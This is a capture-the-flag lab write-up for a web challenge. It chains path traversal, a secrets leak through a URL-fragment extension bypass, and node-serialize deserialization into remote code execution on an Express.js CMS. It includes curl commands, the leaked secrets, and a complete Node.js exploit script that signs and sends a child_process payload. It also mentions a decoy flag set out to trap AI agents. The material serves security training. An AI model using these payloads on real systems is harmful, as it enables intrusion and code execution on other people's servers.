Lab 319 — PageForge — Chained Path Traversal to RCE via Asset Bundler
Lab 319 — PageForge — Chained Path Traversal to RCE via Asset Bundler
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-18 | Status: Solved Techniques: absolute_path_traversal_bypass, config_file_secrets_extraction, hmac_signed_payload_crafting, iife_deserialization_gadget, multi_stage_vulnerability_chain, node_serialize_unserialize_rce, url_fragment_extension_whitelist_bypass
Summary
Task: Express.js CMS with asset bundler path traversal, config file secrets disclosure, and node-serialize deserialization RCE. Solution: 3-step chain — absolute path traversal with URL fragment extension bypass reads server source and secrets, then HMAC-signed node-serialize IIFE payload achieves RCE via admin import endpoint.
Lab 319 — PageForge — Chained Path Traversal to RCE via Asset Bundler — HackAdvisor
Description
PageForge is an enterprise CMS platform used by large organizations to manage web content. It features a powerful asset bundling pipeline, customizable themes and templates, and an admin panel for bulk content management. The platform handles theme assets, template rendering, and content import/export workflows. As a security consultant, you've been given access to a standard user account to test the application. Your goal is to find and exploit vulnerabilities in the asset pipeline and admin import system to achieve remote code execution and capture the flag.
English summary: An Express.js CMS with EJS templating behind nginx/1.25.5. The application has an asset bundler endpoint, a template validator, and an admin import endpoint that uses node-serialize. Given credentials for a viewer-role user (user@test.com / password123), the goal is to chain vulnerabilities to achieve RCE and read /root/flag.txt.
Analysis
Reconnaissance
Stack identification:
- Express.js (Node.js) on nginx/1.25.5 reverse proxy
- EJS templating engine
- SQLite database (
better-sqlite3) node-serializefor import/exportcrypto-jsfor HMAC signature verification
Endpoint discovery via robots.txt:
Disallow: /api/admin/
Disallow: /api/assets/bundle
Disallow: /api/validate-template
These were also confirmed by JS comments in /js/app.js:
javascript read-only • copy allowed// var assetBundleEndpoint = '/api/assets/bundle'; // var templateValidateEndpoint = '/api/validate-template'; // var adminImportEndpoint = '/api/admin/import';
Decoy flag: Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments — a honeypot designed to trap automated tools and AI agents.
Vulnerability 1: Path Traversal in Asset Bundler
The /api/assets/bundle?file= endpoint serves theme assets (CSS, JS, fonts). It has two security checks:
- Extension whitelist: Only
.css,.js,.map,.woff,.woff2,.ttfallowed - Traversal filter: Blocks
../sequences
However, the traversal filter has a critical logic flaw (from server.js line 252):
javascript read-only • copy allowedif (file.includes('..') && !file.startsWith('/')) { return res.status(403).json({ error: 'Path traversal detected' }); }
The condition only blocks traversal for relative paths. Absolute paths starting with / bypass the check entirely. Additionally, the path resolution logic (line 257) handles absolute paths differently:
javascript read-only • copy allowedconst resolvedPath = cleanFile.startsWith('/') ? path.resolve(cleanFile) // absolute: resolve as-is : path.resolve(__dirname, 'public', cleanFile); // relative: prepend public/
The only remaining restriction is that the resolved path must start with /app/ — but the entire application lives under /app/, so this is not a meaningful constraint.
Extension whitelist bypass via URL fragment:
The extension check runs on the raw file parameter, but fragment stripping happens afterward:
javascript read-only • copy allowedconst ext = path.extname(file); // checks extension BEFORE stripping const cleanFile = file.split('#')[0]; // strips fragment AFTER check
By appending %23.js (URL-encoded #.js) to any filename, the extension check sees .js (allowed), but the actual file read targets the path before the #. For example:
file=/app/data/config/app-secrets.json%23.js- Extension check sees:
.js✓ - Fragment stripped:
/app/data/config/app-secrets.json - Actual file read:
app-secrets.json(a JSON config file)
Vulnerability 2: Secrets Disclosure via Config File
Using the path traversal, reading /app/data/config/app-secrets.json reveals:
json read-only • copy allowed{ "admin_api_key": "pgf-admin-k8x7Qm2vL9wR4nP1", "serialization_secret": "F0rg3St@ck$3r1aL!z3r_2024" }
These are the two secrets required to authenticate to the admin import endpoint.
Vulnerability 3: node-serialize Deserialization RCE
The /api/admin/import endpoint (line 273-315 of server.js) accepts POST requests with:
X-Api-Keyheader matchingconfig.admin_api_keydatafield containing serialized contentsignaturefield containing HMAC-SHA256 ofdatausingconfig.serialization_secret
After authentication and signature verification, it calls:
javascript read-only • copy allowedconst importedData = serialize.unserialize(data);
The node-serialize library is known to be vulnerable to arbitrary code execution via the _$$ND_FUNC$$_ prefix. When unserialize() encounters a string value starting with this prefix, it evaluates it as a JavaScript function. Adding () at the end creates an IIFE (Immediately Invoked Function Expression) that executes during deserialization.
Solution
Step 1: Login and obtain session cookie
bash read-only • copy allowedTARGET="https://b644e6ff-fc6a-4efa-b0b6-c6b163e1950e.labs.hackadvisor.io" curl -sk -c cookies.txt -X POST "$TARGET/login" \ -d "email=user@test.com&password=password123" \ -L -o /dev/null -w "%{http_code}"
Step 2: Read server source code via absolute path traversal
bash read-only • copy allowedcurl -sk -b cookies.txt "$TARGET/api/assets/bundle?file=/app/server.js"
This returns the full Express.js application source code, revealing:
- The path traversal filter logic and its bypass conditions
- The admin import endpoint using
node-serialize.unserialize() - The config file path
/app/data/config/app-secrets.json - The HMAC signature verification mechanism
Step 3: Read secrets via fragment extension bypass
bash read-only • copy allowedcurl -sk -b cookies.txt "$TARGET/api/assets/bundle?file=/app/data/config/app-secrets.json%23.js"
Response:
json read-only • copy allowed{ "admin_api_key": "pgf-admin-k8x7Qm2vL9wR4nP1", "serialization_secret": "F0rg3St@ck$3r1aL!z3r_2024" }
Step 4: Craft and sign the deserialization payload
The exploit script (exploit2.js) constructs the RCE payload:
javascript read-only • copy allowedconst CryptoJS = require('crypto-js'); const https = require('https'); const BASE_URL = 'https://b644e6ff-fc6a-4efa-b0b6-c6b163e1950e.labs.hackadvisor.io'; const API_KEY = 'pgf-admin-k8x7Qm2vL9wR4nP1'; const SERIALIZATION_SECRET = 'F0rg3St@ck$3r1aL!z3r_2024'; const cmd = process.argv[2] || 'id'; // node-serialize RCE payload — IIFE executes on deserialization const payload = JSON.stringify({ rce: `_$$ND_FUNC$$_function(){var r=require('child_process').execSync('${cmd}').toString();return r;}()` }); // HMAC-SHA256 signature using the serialization secret const signature = CryptoJS.HmacSHA256(payload, SERIALIZATION_SECRET).toString(); const body = JSON.stringify({ data: payload, signature: signature }); const url = new URL('/api/admin/import', BASE_URL); const options = { hostname: url.hostname, port: 443, path: url.pathname, method: 'POST', headers: { 'Content-Type': 'application/json', 'X-Api-Key': API_KEY, 'Content-Length': Buffer.byteLength(body) }, rejectUnauthorized: false }; const req = https.request(options, (res) => { let data = ''; res.on('data', (chunk) => data += chunk); res.on('end', () => { console.log('HTTP Status:', res.statusCode); console.log('Response:', data); }); }); req.on('error', (e) => console.error('Error:', e.message)); req.write(body); req.end();
Step 5: Execute RCE and read the flag
bash read-only • copy allowednode exploit2.js "cat /root/flag.txt"
Response:
json read-only • copy allowed{ "success": true, "message": "Import completed successfully", "imported": { "rce": "FLAG{REDACTED}\n" }, "count": 1 }
Attack Chain Summary
Login (viewer) → robots.txt + JS comments (endpoint discovery)
→ /api/assets/bundle?file=/app/server.js (absolute path traversal → source code)
→ /api/assets/bundle?file=/app/data/config/app-secrets.json%23.js (fragment bypass → secrets)
→ POST /api/admin/import with HMAC-signed node-serialize IIFE payload → RCE
→ cat /root/flag.txt → FLAG{REDACTED}
What Failed
- Relative path traversal (
../server.js,%252e%252e, unicode, backslash) — all blocked by the filter for non-absolute paths - Media upload — requires editor role; the viewer account cannot upload files
- API key brute-force — the key
pgf-admin-k8x7Qm2vL9wR4nP1is not guessable